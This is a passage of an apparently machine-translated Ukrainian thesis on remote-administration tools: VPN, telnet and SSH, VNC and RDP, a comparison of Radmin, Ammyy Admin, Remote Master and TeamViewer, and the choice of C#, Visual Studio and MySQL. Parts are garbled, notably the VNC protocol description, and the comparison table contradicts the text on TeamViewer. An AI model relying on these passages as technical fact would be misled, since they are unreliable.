2 ЗАСОБИ ВІДДАЛЕНОГО ДОСТУПУ

2.1 доступ до віддаленої мережі за допомогою VPN

Віртуальні приватні мережі VPN є основним способом надання доступу


до віддаленої мережі. Для організації доступу за допомогою VPN потрібне
серверне програмне забезпечення в тій мережі, куди надаватиметься доступ, і
клієнтське програмне забезпечення для тих пристроїв, що отримуватимуть
доступ до цієї мережі. Серверні операційні системи Microsoft Windows 2012
Server та Microsoft Windows 2016 Server мають вбудовані засоби, що
дозволяють розгорнути та налаштувати сервер віддаленого доступу, який
прийматиме вхідні підключення від віддалених клієнтів. Клієнтські засоби
віддаленого доступу є майже у всіх операційних системах [10].
Служба, яка настроює служби VPN у Windows 20012/2016 Server,
називається «Маршрутизація та віддалений доступ». Щоб потрапити у вікно
налаштувань даної програми необхідно зайти в «Панель управління», розкрити
пункт «Адміністрування» та клацнути на іконці «Маршрутизація та віддалений
доступ», або запустити на виконання файл «rrasmgmt.msc». Ця програма
дозволяє настроїти доступ до віртуальної приватної мережі (VPN), трансляцію
мережевих адрес (NAT) та встановити безпечне з'єднання між мережами. Часто
використовується поєднання VPN і NAT, коли віддалені клієнти підключаються
до мережі провайдера, та був їх мережеві запити передаються далі - зазвичай у
мережу Internet. У процесі установки при включенні служб віддаленого доступу
з'являється вікно майстра, за допомогою якого можна вказати які служби
будуть використовуватися і в якому режимі (рисунок 2.1). Однак згодом можна
переналаштувати дані служби вже з керуючої оснастки без необхідності
повторної переустановки. Після встановлення та налаштування маршрутизації
та віддаленого доступу оснастка налаштування цих служб автоматично
додається до списку оснасток, що відображаються у спільній групі оснасток
«Керування комп'ютером» (рис. 2.2).
25

Рисунок 2.1 - Майстер налаштування сервера маршрутизації та віддаленого


доступу

Рисунок 2.2 - Оснащення «Маршрутизація та віддалений доступ» в


керуванні комп'ютером

Для надання доступу віддаленим клієнтам у властивостях служб


маршрутизації та віддаленого доступу потрібна наявність включеного пункту
«Сервер віддаленого доступу» на вкладці «Загальні».
Призначення IP-адрес віддаленим клієнтам налаштовується на вкладці IP
і здійснюється або за допомогою вбудованих засобів маршрутизації та
віддаленого доступу або за допомогою сервера DHCP. У першому випадку
адміністратор вручну вказує діапазон адрес, у другому випадку привласнення
адрес клієнтам здійснюється за допомогою DHCP (рисунок 2.3). DHCP може
повідомити клієнту не тільки IP-адресу, але й багато інших параметрів.
26

На тій же вкладці IP можна вказати, чи будуть видалені клієнти


взаємодіяти не тільки з сервером віддаленого доступу, але і між собою.

Рисунок 2.3 - Налаштування IP-маршрутизації та призначення IP-адрес

Оскільки служби маршрутизації та віддаленого доступу, як випливає з


назви, крім організації сервера віддаленого доступу можуть бути використані і
як маршрутизатор, то розгляд усіх можливостей даних служб виходить за
рамки цілей, зазначених у даній роботі [40].

Рисунок 2.4 - Створення нового підключення VPN

Зі свого боку, віддалений клієнт використовує вбудовані в операційну


систему клієнтські засоби віддаленого доступу. Іконка "Мережні підключення",
розташована в "Панелі керування", дозволяє відкрити вікно, що містить список
наявних мережних підключень та з'єднань. За допомогою іконки «Майстер
нових
27

підключень» можна створити нове підключення. Для створення VPN-


підключення потрібно у вікні вибрати пункт «Підключити до мережі на
робочому місці», а в наступному вікні майстра - пункт «Підключення до
віртуальної приватної мережі». Потім слід ввести ім'я підключення та ім'я або
IP- адресу сервера віддаленого доступу, після чого нове підключення
створюється і може бути використане при необхідності (рис. 2.4).

Рисунок 2.5 – Встановлення нового VPN-з'єднання

2.2 виконання команд на віддаленій системі

У Windows-системах засобом, що надає можливість віддаленого


виконання команд, є програма «telnet», що використовує однойменний
протокол. Як серверна сторона тут виступає служба Telnet з ім'ям tlntsvr.exe.
Запуск цієї служби може бути з оснастки «Служби» або за допомогою
консольної команди
«net» (рис. 2.6).

Рисунок 2.6- Служба «Telnet» у оснащенні «Служби»


28

Ця служба після запуску прослуховує локальний порт №23, на який


підключається віддалений клієнт. Для підключення клієнтом до віддаленого
сервера необхідно в командному рядку виконати команду telnet servername, де
servername - ім'я або IP-адресу віддаленого сервера Telnet.
Після встановлення з'єднання з сервером та проходження процедур
автентифікації та авторизації клієнт може вводити у вікні сесії системні
команди, які будуть виконані на віддаленому сервері. Результати виконання
команд відображатимуться у вікні сесії на клієнтському комп'ютері [14].
На серверній машині для керування сесіями "telnet" може бути
використана команда "tlntadmn". Приклад використання такої команди
наведено рис. 2.7.

Рисунок 2.7 – Перегляд активних сесій «Telnet»

За допомогою цієї команди адміністратор сервера може вимкнути


віддаленого користувача. В даному випадку для цього він повинен виконати
команду "tlntadmn -K 1288", після чого сесія буде розірвана, а віддалений
користувач отримає повідомлення "Administrator on the server has terminated this
session" ("Адміністратор сервера розірвав цю сесію").
Клієнт може сам розірвати підключення. Для цього у вікні термінальної
сесії він має виконати команду exit.
Для Linux/Unix-систем аналогом "telnet" буде додаток "ssh", основною
відмінністю якого є шифрування всього використовуваного трафіку. Для
доступу до віддаленого сервера SSH під Unix-системою потрібно набрати ssh -l
username servername де "username" - ім'я користувача, а "servername" - ім'я або
IP- адресу віддаленого сервера "SSH". Після проходження процедур
автентифікації та авторизації з'явиться можливість вводити команди
операційної системи, які
29

будуть виконані на віддаленій машині. До Unix-системи можна підключитися з-


під Windows-системи, використовуючи спеціальний додаток PuTTY.
PuTTY — клієнт, що вільно розповсюджується, для протоколів SSH,
Telnet, rlogin і чистого TCP. Даний клієнт має гнучкі налаштування, що
дозволяють встановити кодування, вказати параметри підключення,
використовувані шрифти, їх колір, параметри сесії тощо. Налаштування можуть
бути збережені в профілі, а потім кожен профіль може бути викликаний за
необхідності, що позбавляє користувача необхідності налаштування програми
при кожному використанні [34].
На рис. 2.8 продемонстровано ssh-сесію, клієнтом в якій виступає
програма PuTTY, запущена під ОС Windows 2012 Server, а сервером - демон
«SSH», запущений під ОС FreeBSD 6.2. Команди системи FreeBSD - "ls" та
"ifconfig", введені в PuTTY під Windows, були виконані під віддаленою
операційною системою FreeBSD.
Під PuTTY, підключеної до Unix-системі через протокол «SSH», може
бути запущені виконання інші програми, призначені до роботи у консолі.

Рисунок 2.8 - Активна ssh-сесія у PuTTY

Системи віддаленого виконання команд, такі як Telnet і SSH, зазвичай


використовуються системними адміністраторами для віддаленого управління
службовими додатками та сервісами. У рядових користувачів персональних
комп'ютерів рідко виникає необхідність використання даного типу віддаленого
доступу.
30

Віддалений доступ через «Telnet» та «SSH» може бути використаний


спільно з доступом до віддаленої мережі через VPN, коли адміністратор
спочатку віддалено підключається до своєї мережі, а потім використовує дані
програми для адміністрування серверів.
Програми для віддаленого виконання команд «telnet», «PuTTY» та «ssh» є
найвідомішими та найпоширенішими у своєму класі.

2.3 доступ до віддаленого робочого столу

Для інтерактивної взаємодії з віддаленим робочим столом створено такі


засоби, як VNC, Remote Administrator, NetOp та інші. Крім своїх
функціональних можливостей, дані засоби віддаленого доступу відрізняються
ще й умовами поширення та застосування. Завдяки тому, що базовий протокол
VNC є платформонезалежним, а багато додатків на його основі поширюються
безкоштовно, системи VNC набули найбільшого поширення [17].
Як більшість засобів віддаленого доступу VNC складається з двох частин:
клієнт і сервер. Сервер - це програма, що надає доступ до екрана комп'ютера, на
якому це запускається. Клієнт - програма, яка отримує зображення екрана від
сервера та взаємодіє з цим.
VNC - дуже простий протокол, заснований на графічних примітивах:
"Припустити прямокутник піксельних даних на наборі позиції в координатах".
Сервер відправляє маленькі прямокутники клієнту. Така схема у примітивній
формі використовує більшу частину проведення можливості каналу. Для того,
щоб завантажити зниження на каналі, використовуються різні методи. Існують
різні codings - методи визначення найефективнішого методу передачі цих
прямокутників. Протокол VNC дозволяє клієнту та серверу «погоджуватися»
про те, яке кодування використовуватиметься. Найпростіший метод кодування,
що підтримується всіма клієнтами та серверами - «кодування сирих даних», при
якому передаються пікселі, як це має бути ліворуч, з вершини вниз, і після
передачі стану ініціювання екрана, змінені пікселі, тільки передається. Цей
метод працює дуже добре в незначних змінах зображення на екрані (управління
вказівника миші на робочому столі, що вводить під курсором), але
завантаження каналу стає дуже високим в одночасних змінах значної кількості
пікселів, наприклад, у аналізі відео в повноекранному режимі.
31

За замовчуванням VNC використовує діапазон портів TCP з 5900 до 5906.


Кожен порт представляє відповідний екран X-сервера (порти з 5900 на 5906
асоційовані з екранами with:0 on:6). Клієнти Java, доступні в багатьох
реалізаціях, використовуючи створений у веб-сервері з цією метою, наприклад,
RealVNC, з'єднуються з екранами таким же чином, але на діапазоні портів з
5800
- 5806. Багато комп'ютерів під управлінням
Windows ОС можуть використовувати тільки один порт без розрахованих
на багато користувачів властивостей, властивих від систем UNIX. Для систем
Windows екран значення-за замовчуванням -:0, яке відповідає порту 5900 [33].
VNC має можливість зворотного з'єднання від сервера до клієнта. У
цьому випадку клієнт перетворюється на слухання (Слухаючи) режим і
з'єднання, ініційоване сервером на 5500 портах TCP клієнта.
Сервер, який VNC зазвичай запускається як служба, яка все ще перед
користувачем, буде включений в систему, хоча може бути запущений і вручну
як додаток.
У частині сервера, можливо, визначити пароль доступу, скоригувати
поведінку у багатьох з'єднаннях клієнтів, скоригувати обмеження локального
введення в активному сеансі та визначити, за бажанням, додаткові модулі. На
додаток до частини сервера на комп'ютері можуть бути встановлені
зашифровування реалізації модуля трафіку, а також завантаження скорочення
відеодрайвера процесора, в той час як даним комп'ютером керують від
зовнішньої сторони [16].

Сервер Ultr@VNC дозволяє обмежувати дії користувача керованого


комп'ютера, наприклад, роз'єднувати можливість введення клавіатури та
відповіді на події миші. Також можна роз'єднати локальний дисплей на деякий
час. Це може використовуватися системним адміністратором для
продуктивності операцій, яким користувач не повинен перешкоджати або якщо
не дивиться їх.
Сервером Ultr@VNC можна керувати і через веб-браузер, але програма-
клієнт, що входить до набору, "vncviewer.exe" зазвичай використовується.
Після встановлення з'єднання відкриваються вікно стану та вікно
введення пароля, який необхідний для отримання доступу.
Менеджер або користувач, який керує віддаленою машиною, може просто
32

дивитися дії користувача машиною керування, або працювати з віддаленим


робочим столом. Такий тип дистанційного керування наближається до
більшості типів операцій, які виконуються на комп'ютері. У разі сильного
перевантаження каналу користувач може викликати меню на верхній панелі
інструментів та змінити коригування передачі відео [27].
У Ultr@VNC є можливість ініціювати з'єднання не з клієнтом, а від
сервера. Може бути корисно, якщо сервер має не пряму IP-адресу, доступну для
клієнта, а добирається до мережі клієнта, використовуючи перетворення
мережевих адрес NAT або мережевого шлюзу.
Системний VNC не залежить від платформи, на якій він
використовується, що робить можливе управління однією операційною
системою з-під іншої.
Серед інших засобів віддаленого доступу можна назвати:
- прихований Адміністратор;
- дистанційне керування NetOp;
- дистанційне керування Моменту Omniquad;
- віддалений адміністратор;
- eamViewer.
Незважаючи на метод віддаленої взаємодії, використовуваного даними
програмами керовані та керуючі системи, між названими програмами є
відмінності відразу в його реалізації. Наприклад, програма "Прихований
адміністратор" фактично не стискає зображення екрана віддаленого
комп'ютера, передаючи його зображенням без змін.
Програма «Дистанційне керування Моменту Omniquad» призначена для
роботи в локальній мережі, замість мережі Інтернет, і не потребує серверного
попереднього налаштування. Натомість частина сервера встановлюється на
віддаленому комп'ютері безпосередньо перед початком сеансу керування. Така
установка стає можливою лише за наявності прав менеджера на віддаленому
комп'ютері, який робить програму «Дистанційне управління Моменту
Omniquad», застосовне тільки для менеджерів локальних мереж [35].
Особливість програми «Віддаленого Адміністратора», можливість
використання частини сервера програми, щоб передати з'єднання з іншими
серверами, «Віддаленого Адміністратора». Це може бути корисно у випадках,
33

коли між клієнтом і сервером немає можливості встановити пряме


підключення, але є проміжний комп'ютер з сервером, «Віддаленого
Адміністратора», який може уявити себе як посередник у сеансі дистанційного
керування.
У програми TeamViewer є відразу деякі особливості.
Спочатку це комбінує частини клієнта і сервера в одному додатку.
По-друге, може використовувати не лише прямі підключення, а й
з'єднання через сервери, виділені в мережі Інтернет.
По-третє, програма може бути з'єднана з різними серверами в Інтернеті
через різні сервери проксі, які роблять його абсолютно невибагливим до
присутності будь-якого певного методу доступу. Всі ці особливості програми
TeamViewer значно полегшують можливість отримання віддаленого доступу
між комп'ютерами.
У з'єднанні із зовнішнім сервером у мережі «TeamViewer» отримує
певний ідентифікатор, який фіксується тоді до цього комп'ютера. Цей
ідентифікатор використовується для керування цим комп'ютером від інших
копій програми
«TeamViewer». Пароль для отримання доступу може бути встановлений вручну
або автоматично надається сервером.
Крім основного, функціонального з програми даного класу часто, також
мають інші можливості, такі як обмін файлу між частиною клієнта і сервера,
встановлення з'єднання VPN, створений у віддаленій консолі, можливості
блокування локального введення в момент управління і так далі.
Доступ до віддаленого робочого стола використовується і для керування
серверами, і для того, щоб уявити, щоб віддалити користувачів довідки під час
коригування комп'ютерів. Іноді цей тип доступу використовується для
продуктивності звичайних завдань, для яких був призначений даний комп'ютер
[32].
З додатковими зображеннями екранів, що ілюструють роботу програм
цього класу, можна ознайомитися в додатку A.
Керування віддаленими з'єднаннями з сервером здійснюється за
допомогою іншого компонента «менеджер служб терміналів», також
знаходиться на «Панелі керування» розділ «Адміністрування».
Дане вікно містить список всіх з'єднаних на даний момент користувачів
та інформації про стан їх сеансів. Користувач може бути з'єднаний з сервером
терміналів, почати роботу, а потім роз'єднувати термінальний клієнт, не
завершуючи сеанс. Потім у будь-який момент може продовжувати роботу від
34

того самого або навіть від іншого терміналу. Це вікно дозволяє дивитися, хто
від користувачів тепер з'єднується, а також хто зараз працює в сеансі.
За допомогою контекстного меню з цього вікна, можливо, роз'єднати
клієнтів, надіслати їм повідомлення, дивитися інформацію про стан з'єднання і
навіть бути з'єднаним, щоб віддалити сеанси інших користувачів з
адміністративною метою.
Програма Windows, що з'являється в ролі клієнта термінального сервера,
викликають "З'єднання з віддаленим робочим столом" і може бути запущено
через меню програм або прямий виклик файлу "mstsc.exe".
Під час просування кнопки «Parameters» буде виведено на екран
додаткові коригування, які можуть бути встановлені на початок з'єднання.
Користувач може визначити колірну палітру, режим використання звуку і
визначити пропускну здатність каналу передачі даних, що використовується
[38].
Для Систем Unix також є програми, що дозволяють з'єднуватися з
термінальним сервером компанії Microsoft. Консольна програма «rdesktop»
найчастіше використовується, однак GNOME робочого середовища містить
також графічний додаток «tsclient», який є зовнішнім інтерфейсом для
«rdesktop». Набір параметрів у вікні "tsclient", потім передаються додатком
"rdesktop", який виконує з'єднання з термінальним сервером.
Частіше застосування термінального режиму доступу вирівнюється по
ширині на підприємствах, де більшість частин зменшується до роботи з
різними документами чи базами даних.
35

3 АНАЛІЗ ПРОГРАМНИХ ЗАСОБІВ ВИДАЛЕНОГО


АДМІНІСТРУВАННЯ

В даний час, кожна організація або підприємство має власну локальну


обчислювальну мережу з доступом до Інтернету для кожного користувача
мережі. Зазвичай, навіть у невеликих організаціях, корпоративна локальна
мережа є досить складною технічною системою, що передбачає спільне
використання різноманітних інформаційних ресурсів[1].
Кількість комп'ютерів у подібних мережах сильно варіюється і в
найпростішому випадку може досягати близько 20 машин, що постійно
взаємодіють між собою та Інтернетом. На підприємствах, у яких організовані
масштабні локальні мережі, часто доводиться мати різні проблеми, що з
апаратними чи програмними несправностями персональних комп'ютерів.
Положення сильно посилюється під час розширення мережі, за рахунок
включення до корпоративної мережі нових персональних комп'ютерів. Виникає
потреба в технічному обслуговуванні та постійної підтримки працездатності
подібних корпоративних мереж та складових цих мереж комп'ютерів[2].
Виправленням як програмних, так і апаратних проблем, що виникають у
процесі експлуатації персональних комп'ютерів у мережі підприємства,
займається системний адміністратор. Найчастіше в організаціях
адмініструванням займається лише одна людина, що за наявності масштабної
корпоративної локальної мережі є досить складним та трудомістким завданням.
У подібних випадках одній людині доводиться обслуговувати десятки, а то й
сотні комп'ютерів, які розташовані в різних кабінетах та на різних поверхах.
Найчастіше проблеми виникають саме на програмному рівні і рідше на
апаратному. У разі виникнення несправності на програмному рівні на допомогу
системному адміністратору приходити програмне забезпечення, що дозволяє
віддалено виконувати команди та маніпулювати комп'ютером, на якому
виникла помилка. Очевидно, що потреба в подібному програмному
забезпеченні є досить високою[1].
Найчастіше корпоративні локальні мережі діляться на логічно
відокремлені один від одного сегменти, які фізично можуть являти собою
конкретний відділ в організації[2].
36

Рисунок 3.1 - Загальна схема мережі відділу бухгалтерії на


підприємстві

Як і у великій мережі, у подібних сегментах можуть виникати різні


неполадки, переважно пов'язані з несправностями на програмному рівні. Як
правило, у таких відділах дуже доречна установка на комп'ютери програмних
засобів, що дозволяють реалізовувати віддалене адміністрування.
Постає гостре питання - який програмний засіб віддаленого контролю
найкраще використовуватиме конкретні сегменти мережі? На комп'ютерах у
певному відділі можуть стояти різні операційні системи (рис.3.2), що дуже
може вплинути на вибір програмних засобів. У подібних ситуаціях виникає
потреба у кросплатформових програмних рішеннях.

Рисунок 3.2 - Схема мережі відділу з комп'ютерами, що працюють на


різних операційних системах

На сьогоднішній день існує велика кількість програмного забезпечення,


призначеного для віддаленого адміністрування комп'ютерів. Прикладами
37

подібного ПЗ є: TeamViewer, Radmin, AmmyAdmin, AnyDesk, UltraVnc,


RemoteMaster та багато інших. Зв'язки з таким величезним вибором, є потреба
зробити огляд і класифікацію найпоширеніших і найчастіше використовуваних
програмних засобів для віддаленого доступу, а також виділити їх переваги та
недоліки.

3.1 radmin

Radmin, є умовно безкоштовне ПЗ, для віддаленого адміністрування ПК.


Складається з двох частин: програми сервера (попередньо встановлюється на
машину, що адмініструється) і програми клієнта (встановлюється на машину
адміністратора). Є першовідкривачем серед програмних засобів дистанційного
контролю. Має досить широкий функціонал. Є можливість працювати з
віддаленим комп'ютером через консоль Windows. Також програма надає
зручний графічний інтерфейс для маніпулювання віддаленим робочим столом.
Існують функції: передачі файлів, обміну текстовими повідомленнями,
голосовий чат, введення адресної книги.
Переваги:
- можливість роботи з кількома відкритими сесіями;
- можна працювати безпосередньо з windows-консоллю віддаленого
комп'ютера, не підключаючись до віддаленого робочого столу;
- у програмі клієнта є можливість логічного поділу мережі на сегменти,
формуючи папки, що складаються з віддалених комп'ютерів;
- є портативна версія клієнта;
- є функція віддаленого налаштування bios;
- передові методи шифрування даних.
Недоліки:
- програма працює лише під ос сімейства windows;
- немає можливості роботи через інтернет, взаємодія між комп'ютерами
;здійснюється лише в межах локальної мережі;
- відсутній клієнт для мобільних платформ.
Вартість ліцензії на 07.11.2017 для одного ПК становить 1250 грн., до 100
віддалених комп'ютерів – 63500 грн. Період роботи пробної версії – 30 днів.
Офіційний сайт[3].
38

3.2 ammyy Admin

Програма для віддаленого адміністрування комп'ютерів через Інтернет


або локальну мережу, що не вимагає інсталяції. Має обмежений базовий
функціонал з такими можливостями: перегляд та маніпулювання віддаленим
робочим столом, передача файлів, текстовий та голосовий чат. Програма
оснащена досить простим та інтуїтивно зрозумілим графічним інтерфейсом.
Переваги:
- можливість запуску програми під windows та linux;
- не вимогливість до системних ресурсів;
- є можливість автоматичного/ручного налаштування якості зображення
віддаленого робочого столу;
- передові методи шифрування
даних. . Недоліки:
- досить обмежений базовий функціонал;
- практично повна відсутність функцій, що дозволяють здійснювати
віддалене адміністрування великої кількості комп'ютерів;
- немає можливості працювати з віддаленим комп'ютером за допомогою
консолі;
- відсутність клієнта для мобільних платформ;
- деякі версії програми містять приховане шкідливе пз.
Безкоштовна версія має обмеження у роботі – 15 годин на місяць. У
вартість ліцензії входить кількість керованих ПК. Вартість одного робочого
місця, на 07.11.2021, становить середньому 1300 грн.
Офіційний сайт[5].

3.3 remote Master

Remote Master – це програмний засіб для віддаленого керування


комп'ютерами з операційною системою Windows. Програма може
конфігурувати велику кількість системних параметрів віддалених серверів і
комп'ютерів, при цьому на клієнтські (керовані) комп'ютери додатково
встановлювати нічого не потрібно.
Переваги:
39

- є можливість отримувати повну інформацію про програмну та апаратну


складові віддаленого комп'ютера є функціонал для роботи з віддаленою
windows-консоллю;
- є можливість керування принтерами, підключеними до віддаленого
комп'ютера;
- можливий віддалений запуск процесів та служб, а також можливість
керування загальними мережевими ресурсами віддаленого пк;
- низька вимогливість до системних
ресурсів. .Недоліки:
- немає можливості підключення до віддаленого робочого столу;
- відсутність текстового та голосового чату;
- практично повна відсутність функцій, що дозволяють здійснювати
віддалене адміністрування великої кількості комп'ютерів;
- відсутність клієнта для мобільних платформ;
- відсутність функціоналу, що реалізує передачу файлів.
Програма не вимагає покупки ліцензії та є повністю безкоштовною.
Офіційний сайт[6].

3.4 TeamViewer

Це пакет програмного забезпечення для віддаленого контролю


комп'ютерів через Інтернет або локальну мережу. Одна з найпопулярніших
програм для віддаленого керування. Має широкий функціонал, що дозволяє
отримувати доступ до віддаленого робочого столу, передавати файли,
організовувати веб-конференції, спілкуватися за допомогою текстового та
голосового чату, а також є можливість ведення адресної книги.
Переваги:
- передові методи шифрування даних;
- можливість роботи з кількома відкритими сесіями;
- є можливість запускати програму під різні операційні системи (windows,
linux, mac os);
- є клієнт для мобільних систем під android та ios;
- є можливість використовувати програму безкоштовно для
некомерційного використання;
- є портативна версія клієнта та сервера;
40

- у програмі є можливість логічного поділу мережі на сегменти, за


допомогою ведення адресної книги недоліки:
- виникають складнощі при адмініструванні великої кількості пк;
- висока вартість ліцензії для корпоративного використання;
- немає можливості здійснювати віддалене адміністрування за допомогою
консолі чи терміналу.
У вартість ліцензії входить кількість керованих ПК. Вартість ліцензії на
07.11.2021 для 50,200,500 комп'ютерів складає відповідно 29 900, 59 200, 99 900
грн.
Офіційний сайт[4]
Сформуємо порівняльну таблицю перерахованого вище програмного
забезпечення

Таблиця 3.1 - Порівняльна таблиця ПЗ віддаленого контролю


Radmin Ammyy Admin Remote Master TeamViewer
Кросплатформеність Ні Windos/Linux Ні Так

Клієнт для мобільних систем Ні Ні Ні Так

Доступ до консолі Так Ні Ні Так

Можливість підключення до Ні Ні Ні Ні
віддаленого комп'ютера через
Інтернет
Зручне адміністрування Так Ні Ні Ні
великої кількості

ПК IP-фільтрація Так Так Ні Да


Ні Так Ні Так
Можливість виконання
командних скриптів на групах
комп'ютерів

З порівняльного аналізу можна дійти невтішного висновку, що у


більшості програм віддаленого доступу відсутні функції з адмініструванню
великої кількості персональних комп'ютерів, немає програмних клієнтів для
мобільних платформ, як і кросплатформенності ПЗ загалом. З переваг, варто
відзначити, що практично всі програми мають вбудований захист даних,
функції IP фільтрації і є можливість маніпулювання віддаленим робочим
столом.
41

Відсутність кросплатформенності у програмах віддаленого доступу є


істотним недоліком. При покупці організацією програмного забезпечення, що
не підтримує кросплатформеність, відсутня можливість його ефективного
застосування, якщо у робочій локальній мережі є велика кількість
персональних комп'ютерів з різними операційними системами (приклад схема
мережі на рис. 3.2). На практиці цей недолік може бути усунений за допомогою
установки відповідного під операційну систему користувача програмного
забезпечення.
Також варто зазначити, що відсутність можливості роботи з віддаленим
комп'ютером за допомогою консолі, терміналу або мовних скриптів є значним
недоліком. Досить часто системному адміністратору необхідно зробити ту саму
послідовність дій на великій кількості ПК, і найчастіше ця послідовність дій
може виконуватися за допомогою звичайної консолі або терміналу. Надалі,
авторами статті, планується розробка комплексу програмного забезпечення, що
дозволяє віддалено адмініструвати велику кількість персональних комп'ютерів
із різними операційними системами. Передбачається, що програмне засіб, що
розробляється, буде мати ряд переваг, пов'язаних зі зручною інтеграцією і
впровадженням у великі локальні мережі. Планується, що програмне рішення
виключатиме основні недоліки існуючих програмних засобів.
42

4 РАЗРОБКА ПРОГРАМИ АДМІНІСТРУВАННЯ ФІЛІЇ


ПІДПРИЄМСТВА

4.1 вибір засобів для розробки програми

У цій роботі створювалося безпосередньо десктопне додаток, але це


означає, що використання компілюваного язика програмування є необхідною
частиною програми. Для розробки обрана мова С# - це мова програмування,
розроблена та запущена Microsoft у 2001 році. C# - це проста, сучасна та
об'єктно- орієнтована мова, яка надає сучасним розробникам гнучкість та
можливості для створення програмного забезпечення, яке працюватиме не
лише сьогодні, але й довгі роки в майбутньому.
Плюси цієї мови:
- це мова, що компілюється, що означає, що код, що зберігається на
загальнодоступному сервері, знаходиться в двійковій формі;
- має дуже близький синтаксис із Java;
- велика кількість розробників та лояльна спільнота;
- для запуску програми C# в середовищі Windows не потрібні будь-які
спеціальні налаштування.
Мінуси цієї мови:
- код повинен компілюватися щоразу, коли ви вносите навіть незначні
зміни;
- C# є частиною платформи .NET, сервер, на якому виконується програма,
має бути Windows сумісним;
- Microsoft припиняє підтримку старих платформ .NET після кількох
оновлень операційних систем. [4] Для написання коду потрібний текстовий
редактор. Найбільш популярні редактори це Notepad++, Visual Studio від
Microsoft та Sublime Text.
Notepad++
– це безкоштовний редактор вихідного коду та заміна Notepad, що
підтримує декілька мов. Працює в середовищі MS Windows та його
використання регулюється стандартною громадською ліцензією GNU.
Основні переваги:
- безкоштовно та вимагає менше місця для встановлення;
- автозаповнення коду та підсвічування синтаксису працюють практично
для всіх мов, що підтримуються;
43

- доступна безліч плагінів;


- має можливість відкрити кілька вкладок.
Недоліки:
- не має кросплатформенності;
- підвисає під час роботи з великим обсягом даних.
Microsoft Visual Studio – це інтегроване середовище розробки (IDE) від
Microsoft. Він використовується для розробки комп'ютерних програм, а також
веб-сайтів, веб-додатків, веб-сервісів та мобільних додатків. Visual Studio
використовує платформу розробки програмного забезпечення Microsoft.
Переваги:
- зручний інтерфейс;
- стандартизація середовища розробки у команді;
- відмінні функції та пакети; легко використовувати;
- забезпечує кодування без
помилок. Недоліки:
- вартість деяких версій висока;
- використання багато пам'яті;
- підвисає, під час відкриття великих проектов.[8]
Sublime Text – це умовно безкоштовний кросплатформний редактор
вихідного коду. Він спочатку підтримує безліч мов програмування та мов
розмітки, і функції можуть бути додані користувачами за допомогою плагінів.
Переваги:
- кросплатформеність;
- швидкий запуск, що займає мало місця;
- велика швидкість роботи;
- приємний інтерфейс;
- простий у використанні та надає безліч налаштувань, які відповідають
усім потребам користувачів;
- сторонні
плагіни. Недоліки:
- ціна;
- часто пропонує придбати нову версію;
- немає терміналу. [6]
44

За підсумками порівняння редакторів коду, для написання програми було


обрано повноцінне середовище розробки Visual Studio, т.к. він має лояльний
інтерфейс, зручна у використанні та легко розширюється.
Ключова необхідність програми є база даних для зберігання даних
користувачів на підставі динних яких формуватиметься таблична частина, в
якій буде заповнені атрибути комп'ютерів користувача.
В даний час найпоширенішими СУБД є:
- PostgreSQL; - MongoDB; - DB2;
- Microsoft Access;
- Oracle Database;
- MySQL;
- Microsoft SQL Server;
- Redis.
Стандартним шляхом для вибору найкращої СУБД буд спосіб
порівняння.
Oracle Database – перша база даних, розроблена для корпоративних
розподілених обчислень, найбільш гнучкий та економічний спосіб управління
інформацією та додатками.
Переваги:
- стабільна, вона існує вже кілька десятиліть;
- якщо ви є керівником і повинні обґрунтувати своє рішення про покупку
Oracle, його легко захистити, оскільки має відмінну репутацію;
- багато адміністраторів баз даних та розробників баз даних, які знають
продукт;
- має унікальний інструмент для розробників баз даних –
APEX. Недоліки цієї системи:
- висока вартість;
- первісна документація нового функціоналу дуже
складна. MySQL
- найпопулярніша у світі база даних із відкритим вихідним кодом.
Завдяки своїй перевіреній продуктивності, надійності та простоті використання,
MySQL стала провідною базою даних для веб-додатків, що використовуються
відомими веб-ресурсами, включаючи Facebook, Twitter, YouTube, Yahoo! і
багато інших.
Переваги даної системи:
- безпека, одна з найнадійніших СУБД;
- розроблена з упором на інтернет, хмару та великі дані;
45

Особливості цієї системи:


- висока безпека зберігання даних;
- простота налаштування;
- оптимізоване зберігання даних;
- підтримка відновлення
даних. Недоліки:
- апаратні обмеження;
- вартість;
- обмежена сумісність. [7]
PostgreSQL - це потужна об'єктно-реляційна база даних з відкритим
вихідним кодом, яка використовує та розширює мову SQL у поєднанні з
безліччю функцій, які безпечно зберігають та масштабують найскладніші
робочі навантаження з даними.
Позитивні сторони цієї СУБД:
- багатий функціонал;
- паралелізм запитів;
- висока сумісність;
- розмітка (розбиття на
розділи). Мінуси:
- погане, практично немає стиснення даних;
- нестабільність сервера;
- тяжкий синтаксис.
За підсумками порівняння СУБД, була обрана MySQL, вона має ряд
позитивних сторін, які стали критерієм вибору в порівнянні з іншими: безпека,
високий розвиток, простота, доступність.
Для керування робочим столом будемо використовувати вже розроблені
програми.
На даний момент існує велика кількість програм, найпопулярніші це
Virtual Network Computing, UltraVNC, VNC Connect, TightVNC і т.д.
Virtual Network Computing або VNC - це програма з відкритим вихідним
кодом, яка надає послуги спільного використання екрану і доступна практично
для всіх операційних систем, таких як Windows, Linux та звичайно ж OS X.
Переваги цієї програми:
- стабільне підключення;
- великий функціонал;
46

- шифрування.
Мінуси:
- застарілий інтерфейс.
UltraVNC – це потужне, просте використання та безкоштовне програмне
забезпечення для віддаленого доступу до ПК, яке може відображати екран
іншого комп'ютера (через Інтернет або мережу) на вашому власному екрані.
Програма дозволяє використовувати мишу та клавіатуру для віддаленого
керування іншим комп'ютером.
Плюси:
- текстовий чат;
- передача файлу;
- автоматична синхронізація буфера обміну;
- може підключатися через браузер;
- відправлення команд клавіатури;
- може підключатися до віддаленого ПК у безпечному режимі.
Мінуси:
- на сервері потрібно перенаправлення портів маршрутизатора;
- не призначений для спонтанної підтримки;
- віддалений друк не підтримується;
- немає опції Wake-on-LAN (WOL). [1]
VNC Connect - це програмне забезпечення для спільного використання
екрана, яке дозволяє підключатися до віддаленого комп'ютера в будь-якій точці
світу, дивитися на його екран у режимі реального часу та керувати ним, якби
сидів перед ним.
Плюси цієї програми:
- може працювати на міні комп'ютерах, наприклад, Raspberry;
- підключення через локальну мережу та інтернет;
- обмін файлами;
- вбудований чат;
- друк.
Мінуси:
- платний;
- для безперебійної роботи потрібна висока швидкість інтернету;
- не прозорий для брандмауера, вимагаючи звільнення порту.
47

TightVNC – це безкоштовний пакет програмного забезпечення для


віддаленого керування. З TightVNC ви можете бачити робочий стіл віддаленого
комп'ютера та керувати ним за допомогою локальної миші та клавіатури.
Плюси даної програми:
- безкоштовно як для особистого, так і для комерційного використання з
повним вихідним кодом;
